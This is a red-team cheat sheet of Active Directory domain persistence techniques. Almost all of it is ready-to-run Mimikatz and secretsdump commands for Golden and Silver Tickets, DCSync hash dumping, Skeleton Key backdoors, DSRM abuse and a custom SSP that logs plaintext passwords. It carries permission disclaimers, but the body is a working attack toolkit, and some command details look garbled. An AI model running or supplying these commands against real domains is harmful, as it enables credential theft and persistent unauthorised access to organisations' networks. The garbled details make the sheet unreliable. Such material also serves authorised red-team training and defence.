Domain Persistence Cheat Sheet

Intro: Let's Get Persistent!

Whether you're a red teamer looking to stay hidden or just curious about the dark arts of domain persistence, you're in the right place! This cheat sheet will help you master techniques like **Golden Tickets**, **DCsync**, and **Skeleton Keys** to keep your foothold in a domain – long after you've compromised it. From forging Kerberos tickets to exploiting **Service Principal Names (SPNs)**, we've got you covered with commands and tips to navigate your way around a Windows network.

Remember: Use these techniques responsibly and only in environments where you have permission to test. Now, let's dive into some real-world tools and tricks to stay persistent!

Golden Ticket Attack

GOAL	FORGE A VALID KERBEROS TICKET GRANTING TICKET (TGT) TO IMPERSONATE ANY USER.
Step 1: Dump krbtgt hash on Domain Controller	Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName
Step 2: Forge Golden Ticket on any machine	Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid: /krbtgt: id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

DCsync Attack

GOAL	DUMP DOMAIN HASHES BY IMPERSONATING A DOMAIN CONTROLLER.
Step 1: Use mimikatz for DCSync (DA rights required)	Invoke-Mimikatz -Command '"lsadump::dcsync /user:\""'
Step 2: Use secretsdump.py with NTLM authentication	secretsdump.py /:@ -just-dc-ntlm
Step 3: Use secretsdump.py with Kerberos authentication	secretsdump.py -no-pass -k /@ -just-dc-ntlm

Tip:

- /ptt -> Inject the ticket into the current session.

- /ticket -> Save the ticket to use later.

Silver Ticket Attack

GOAL	FORGE A SILVER TICKET TO IMPERSONATE A SERVICE.
Steps:	Invoke-Mimikatz -Command '"kerberos::golden /domain: /sid: /target: /service: /rc4: /user: /ptt"'

Skeleton Key Attack

GOAL	INSTALL A BACKDOOR KERBEROS TICKET THAT ALLOWS LOGIN WITH ANY PASSWORD.
Step 1: Run Skeleton Key as DA	Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName
Step 2: Access using the password "mimikatz"	Enter-PSSession -ComputerName -Credential \Administrator

DSRM Abuse

GOAL	ABUSE THE DSRM (DIRECTORY SERVICES RESTORE MODE) PASSWORD TO GAIN LOCAL ADMIN ACCESS TO A DOMAIN CONTROLLER.
Step 1: Dump DSRM password	Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName
Step 2: Modify the Logon behaviour	New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose
Step 3: PTH for local admin access	Enter-PSSession -ComputerName

Custom SSP (Security Support Provider)

GOAL	CAPTURE PLAINTEXT PASSWORDS BY CREATING A CUSTOM SSP.
Step 1: Get current Security Package	\$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' select -ExpandProperty 'Security Packages'

GOAL	CAPTURE PLAINTEXT PASSWORDS BY CREATING A CUSTOM SSP.
Step 2: Append mimilib.dll to the package list	<code>\$packages += "mimilib"</code>
Step 3: Set the new package list	<code>Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value \$packages</code>
Alternative: Use Mimikatz's memssp to create a custom SSP	<code>Invoke-Mimikatz -Command '"misc::memssp"'</code>

Now, all logons on the DC will be logged to:

`C:\Windows\System32\kiwissp.log`

Outro: You're Set to Persist!

And there you have it! With these powerful techniques, you now have a toolkit for staying persistent in a domain environment. Whether you're simulating an attack for red teaming, or just testing your security defenses, these methods will help you gain long-term access. Always be sure to have permission for your activities – these techniques are not for malicious use, but for strengthening security in a controlled, authorized setting.

Remember, persistence is key to success—so don't forget to practice responsibly!
